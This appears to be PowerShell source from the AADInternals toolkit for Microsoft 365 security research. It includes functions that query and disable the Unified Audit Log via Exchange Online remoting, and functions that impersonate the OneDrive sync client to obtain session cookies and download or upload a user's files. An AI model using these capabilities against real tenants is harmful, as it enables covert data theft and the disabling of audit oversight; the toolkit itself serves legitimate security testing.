RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-MobileDevice</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-MovileDevices -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$mobileDevices = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $MobileDevices
}
}
# Get Unified audit log status
# Jan 21st 2020
function Get-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Gets Unified Audit Log settings
.DESCRIPTION
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = '<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Get-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
# Enable or disable Unified Audit Log
# Jan 22nd 2020
function Set-UnifiedAuditLogSettings
{
<#
.SYNOPSIS
Enables or disables Unified Audit log
.DESCRIPTION
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
It will take hours for the changes to take effect.
.Example
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
.Example
Get-AADIntAccessTokenForEXO -SaveToCache
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
------------------------------- -----------------------------
true 2021-01-22T09:59:51.0870075Z
PS C:\>Set-AADIntUnifiedAuditLogSettings -Enabled false
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Bool]$Enable
)
Process
{
# A fixed runspacel pool ID, used in PSRP messages
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
# Counter for Object IDs
$ObjectId=10
$Oauth=$false
# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Set-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-UnifiedAuditLogIngestionEnabled:</S><B N="V">$($Enable.ToString().ToLower())</B></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="14"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="15"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="16"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Set-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
|
OneDrive_utils.ps1 | AADInternals-0.9.4 | # Utility functions for OneDrive native client
# OneDrive settings class
class OneDriveSettings {
[string]$Url
[string]$AuthenticationCookie
[string]$DefaultDocumentLibraryId
[string]$DownloadUrlTemplate
[int]$ItemCount
}
# Gets the authentication cookie for OneDrive native client
# Nov 26th 2019
function Get-ODAuthenticationCookie
{
<#
.SYNOPSIS
Gets authentication cookie for OneDrive
.DESCRIPTION
Gets authentication cookie for OneDrive native client
.Parameter AccessToken
AccessToken for OneDrive
.Example
Get-AADIntODAuthenticationCookie
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
# Get the tenant url
$tenant = ((Read-Accesstoken $AccessToken).aud.Split("/"))[2]
$url = "https://$tenant/_api/SP.OAuth.NativeClient/Authenticate?client-request-id=$((New-Guid).toString())"
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept"= "application/json;odata=verbose"
"User-Agent"="Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
"X-GeoMoveOptions" = "HttpRedirection"
"X-IDCRL_ACCEPTED" ="t"
"X-UserScenario"= "AUO,SignIn"
}
# Call the authentication API
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue -Method Post -ContentType "application/x-www-form-urlencoded" -Headers $headers
# Return the SPOIDCRL cookie
($response.headers["Set-Cookie"].split(";"))[0]
}
}
# Invokes the OD API commands
# Nov 26th
function Invoke-ODCommand
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$False)]
[String]$Accept="application/json;odata=verbose",
[Parameter(Mandatory=$False)]
[String]$Scenario="AUO,SignIn",
[Parameter(Mandatory=$False)]
[byte[]]$Body,
[Parameter(Mandatory=$False)]
$headers=@{},
[Parameter(Mandatory=$False)]
[Switch]$UseStreamReader,
[Parameter(Mandatory=$False)]
[PSObject][ref]$ResponseHeaders,
[Parameter(Mandatory=$False)]
[boolean]$Mac=$False
)
Process
{
# Set the headers
$headers["Accept"] = $Accept
if($MAC)
{
$headers["User-Agent"] = "Microsoft SkyDriveSync 20.169.0823.0006 ship; Mac OS X 10.15.7"
}
else
{
$headers["User-Agent"] = "Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
}
if(![string]::IsNullOrEmpty($Scenario))
{
$headers["X-UserScenario"] = $Scenario
}
# Create a web session for the authentication cookie
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
$session.Cookies.Add($webCookie)
# Create the url
$url = $OneDriveSettings.Url
$url += $Command
# Call the API
try
{
if($UseStreamReader)
{
if($Body -ne $null)
{
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Post -Headers $headers -WebSession $session -Body $Body
}
else
{
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
}
$response = [System.IO.StreamReader]::new($fullResponse.RawContentStream, [System.Text.Encoding]::UTF8).ReadToEnd()
if($ResponseHeaders -ne $null)
{
$ResponseHeaders.Value = $fullResponse.headers
}
}
else
{
$response = Invoke-RestMethod -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
}
}
catch
{
if($_.Exception -like "*(501)*")
{
Write-Error "Got 501 - try using a -Mac switch or proper domain guid"
}
elseif($Body -ne $null -and $_.Exception -like "*(403)*" -and $ResponseHeaders -ne $null)
{
# This is part of the normal file upload flow
$ResponseHeaders.Value = $_.Exception.Response.Headers
}
else
{
Write-Error $_.Exception
}
return
}
# Return
$response
}
}
# Creates an OneDrive settings object to be used in OneDrive functions
function New-OneDriveSettings
{
<#
.SYNOPSIS
Creates a new OneDriveSettings object
.DESCRIPTION
Creates a new OneDriveSettings object used with OneDrive functions
.Example
$os = New-AADIntOneDriveSettings
PS C:\> Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Credentials',Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(ParameterSetName='SAML',Mandatory=$True)]
[String]$SAMLToken,
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
[String]$KerberosTicket,
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
[String]$Domain
)
Process
{
# Create a new settings object
$ODSettings=[OneDriveSettings]::new()
# Get AccessToken for OfficeApps
$OAtoken=Get-AccessToken -Resource "https://officeapps.live.com" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -IncludeRefreshToken $true
# Get the connection details
$connections = Get-UserConnections -AccessToken $OAtoken[0]
# Get the url
foreach($connection in $connections)
{
if($connection.EnabledCapabilities -eq 2051) # Should be OneDrive
{
$url = $connection.ConnectionUrl
# Strip the "/Documents" from the end of the url
$ODSettings.Url = $url.Substring(0,$url.LastIndexOf("/"))
break
}
}
if([string]::IsNullOrEmpty($ODSettings.Url))
{
# The user doesn't have onedrive :(
$upn = (Read-Accesstoken $OAtoken[0]).upn
Write-Error "The user $upn doesn't have OneDrive :("
return
}
# Get AccessToken for OneDrive
$ODtoken=Get-AccessTokenWithRefreshToken -Resource "https://$(($ODSettings.Url.Split("/"))[2])" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -RefreshToken $OAtoken[1] -TenantId ((Read-Accesstoken -AccessToken $OAtoken[0]).tid)
# Get the authentication cookie
$ODSettings.AuthenticationCookie = Get-ODAuthenticationCookie -AccessToken $ODtoken
# Get the document library id
$ODSettings.DefaultDocumentLibraryId = Get-ODDefaultDocLibId -OneDriveSettings $ODSettings
# Get the sync policy
$syncPolicy = Get-ODSyncPolicy -OneDriveSettings $ODSettings
# Set the download url template
$dlUrl = $syncPolicy.DownloadUrlTemplate
$ODSettings.DownloadUrlTemplate = $dlUrl.Substring(0,$dlUrl.IndexOf("{"))
# Set the ItemCount
$ODSettings.ItemCount = [int]$syncPolicy.ItemCount
# return
$ODSettings
}
}
# QuickXorHash by Microsoft https://docs.microsoft.com/en-us/onedrive/developer/code-snippets/quickxorhash
# Dec 9th 2019
$xorhash_code = @"
using System;
public class QuickXorHash : System.Security.Cryptography.HashAlgorithm
{
private const int BitsInLastCell = 32;
private const byte Shift = 11;
private const int Threshold = 600;
private const byte WidthInBits = 160;
private UInt64[] _data;
private Int64 _lengthSoFar;
private int _shiftSoFar;
public QuickXorHash()
{
this.Initialize();
}
protected override void HashCore(byte[] array, int ibStart, int cbSize)
{
unchecked
{
int currentShift = this._shiftSoFar;
// The bitvector where we'll start xoring
int vectorArrayIndex = currentShift / 64;
// The position within the bit vector at which we begin xoring
int vectorOffset = currentShift % 64;
int iterations = Math.Min(cbSize, QuickXorHash.WidthInBits);
for (int i = 0; i < iterations; i++)
{
bool isLastCell = vectorArrayIndex == this._data.Length - 1;
int bitsInVectorCell = isLastCell ? QuickXorHash.BitsInLastCell : 64;
// There's at least 2 bitvectors before we reach the end of the array
if (vectorOffset <= bitsInVectorCell - 8)
{
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
{
this._data[vectorArrayIndex] ^= (ulong)array[j] << vectorOffset;
}
}
else
{
int index1 = vectorArrayIndex;
int index2 = isLastCell ? 0 : (vectorArrayIndex + 1);
byte low = (byte)(bitsInVectorCell - vectorOffset);
byte xoredByte = 0;
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
{
xoredByte ^= array[j];
}
this._data[index1] ^= (ulong)xoredByte << vectorOffset;
this._data[index2] ^= (ulong)xoredByte >> low;
}
vectorOffset += QuickXorHash.Shift;
while (vectorOffset >= bitsInVectorCell)
{
vectorArrayIndex = isLastCell ? 0 : vectorArrayIndex + 1;
vectorOffset -= bitsInVectorCell;
}
}
// Update the starting position in a circular shift pattern
this._shiftSoFar = (this._shiftSoFar + QuickXorHash.Shift * (cbSize % QuickXorHash.WidthInBits)) % QuickXorHash.WidthInBits;
}
this._lengthSoFar += cbSize;
}
protected override byte[] HashFinal()
{
// Create a byte array big enough to hold all our data
byte[] rgb = new byte[(QuickXorHash.WidthInBits - 1) / 8 + 1];
// Block copy all our bitvectors to this byte array
for (Int32 i = 0; i < this._data.Length - 1; i++)
{
Buffer.BlockCopy(
BitConverter.GetBytes(this._data[i]), 0,
rgb, i * 8,
8);
}
Buffer.BlockCopy(
BitConverter.GetBytes(this._data[this._data.Length - 1]), 0,
rgb, (this._data.Length - 1) * 8,
rgb.Length - (this._data.Length - 1) * 8);
// XOR the file length with the least significant bits
// Note that GetBytes is architecture-dependent, so care should
// be taken with porting. The expected value is 8-bytes in length in little-endian format
var lengthBytes = BitConverter.GetBytes(this._lengthSoFar);
System.Diagnostics.Debug.Assert(lengthBytes.Length == 8);
for (int i = 0; i < lengthBytes.Length; i++)
{
rgb[(QuickXorHash.WidthInBits / 8) - lengthBytes.Length + i] ^= lengthBytes[i];
}
return rgb;
}
public override sealed void Initialize()
{
this._data = new ulong[(QuickXorHash.WidthInBits - 1) / 64 + 1];
this._shiftSoFar = 0;
this._lengthSoFar = 0;
}
public override int HashSize
{
get
{
return QuickXorHash.WidthInBits;
}
}
}
"@
Add-Type -TypeDefinition $xorhash_code -Language CSharp
Remove-Variable $xorhash_code
# Calculates XorHash for OneDrive files
# Dec 9th 2019
function Get-XorHash
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$FileName
)
Process
{
# Get the full path..
$fullpath = (Get-Item $FileName).FullName
# Create a stream to read bytes
$stream = [System.IO.FileStream]::new($fullpath,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
# Create the hash object and do the magic
$xorhash = [quickxorhash]::new()
$hash = $xorhash.ComputeHash($stream)
$b64Hash = [convert]::ToBase64String($hash)
# Return
$b64Hash
}
} |
OneDrive.ps1 | AADInternals-0.9.4 | # Functions for emulating OneDrive native client
# Gets the ID of default document library
# Nov 26th 2019
function Get-ODDefaultDocLibId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/web/DefaultDocumentLibrary/ID"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
# Return
$response.D.id
}
}
# Gets the Site ID of user's OneDrive
# Nov 26th 2019
function Get-ODDefaultSiteId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/Site/Id"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
# Return
$response.d.id
}
}
# Gets the user's OneDrive sync policy
# Nov 26th 2019
function Get-ODSyncPolicy
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/policy/"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml"
# Return
$rules=$response.PolicyDocument.Rule
$attributes = @{}
foreach($rule in $rules)
{
$attributes[$rule.name] = $rule.value
}
$policy = New-Object PSObject -Property $attributes
# return
$policy
}
}
# Gets the list of user's OneDrive sync files
# Nov 26th 2019
function Get-ODSyncFiles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$False)]
[ValidateRange(1,1000)]
[int]$MaxItems=1000,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid,
[Parameter(Mandatory=$False)]
[boolean]$Mac=$false,
[Parameter(Mandatory=$False)]
[guid]$MachineGuid
)
Process
{
# Set the special headers
$headers=@{"X-MachineId" = "$($MachineGuid.toString())"}
if(!$MAC)
{
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
}
# Paging..
$syncToken = $null
$continue = $true
# Return value
$retVal = @()
while($continue)
{
$command="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/RootFolder?Filter=changes&InlineBlobs=false&MaxItemCount=$MaxItems&View=SkyDriveSync"
if(![string]::IsNullOrEmpty($syncToken))
{
$command += "&SyncToken=$syncToken"
}
# We need the response headers to know whether we've done or is there more data to get
$responseHeaders = @{}
# Get the response using StreamReader, otherwise the response is not properly decoded (using ISO-8859-1 instead of UTF-8)
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml" -headers $headers -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -Mac $Mac
if($response -eq $null -or [String]::IsNullOrEmpty($responseHeaders["Value"]["X-HasMoreData"]) -or $responseHeaders["Value"]["X-HasMoreData"] -ne "True")
{
$continue = $false
}
else
{
$syncToken = $responseHeaders["Value"]["X-SyncToken"]
}
# Add to return array
[xml]$xmlResponse = $response
$retVal += $xmlResponse
}
# Return
$retVal
}
}
# Downloads the user's OneDrive files
# Nov 26th 2019
function Get-OneDriveFiles
{
<#
.SYNOPSIS
Downloads user's OneDrive
.DESCRIPTION
Downloads the user's OneDrive root folder and files recursively
.Parameter OneDriveSettings
OneDrive settings of the user
.Parameter PrintOnly
Doesn't download the files
.Parameter FoldersOnly
Doesn't handle files but only folders
.Parameter Mac
Pretend to be a macOS client
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os -PrintOnly | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os -DomainGuid "ff909322-6b19-4a86-b9e9-e01ebb9432fe" | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$False)]
[int]$MaxItems=500,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid = (New-Guid),
[switch]$Mac,
[switch]$PrintOnly,
[switch]$FoldersOnly
)
Process
{
# Get the list of sync files
$allSyncFiles = Get-ODSyncFiles -OneDriveSettings $OneDriveSettings -MaxItems $MaxItems -DomainGuid $DomainGuid -MachineGuid (New-Guid) -Mac $Mac
foreach($syncFiles in $allSyncFiles)
{
# Dowload the OneDrive root folder
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $syncFiles.Folder -PrintOnly $PrintOnly -FoldersOnly $FoldersOnly
}
}
}
# Downloads the user's OneDrive files
# Dec 9th 2019
function Send-OneDriveFile
{
<#
.SYNOPSIS
Sends a file to user's OneDrive
.DESCRIPTION
Sends a file to user's OneDrive
.Parameter OneDriveSettings
OneDrive settings of the user
.Parameter FileName
File name of the file to be sent OneDrive
.Parameter ETag
Contains Resource ID and version information of the file. If provided, tries to update the file
.Parameter FolderId
Contains Resource ID of folder where file will be uploaded.
.Parameter DomainGuid
Guid of the domain of user's computer.
.Parameter Mac
Pretend to be a macOS client
.Example
$os = New-AADIntOneDriveSettings
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -FolderId 3936bbea74b54f52b4c0ec6f362d6df9rea
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},2"
DateModified : 2019-12-09T10:57:36.0000000Z
RelationshipName : Document1.docx
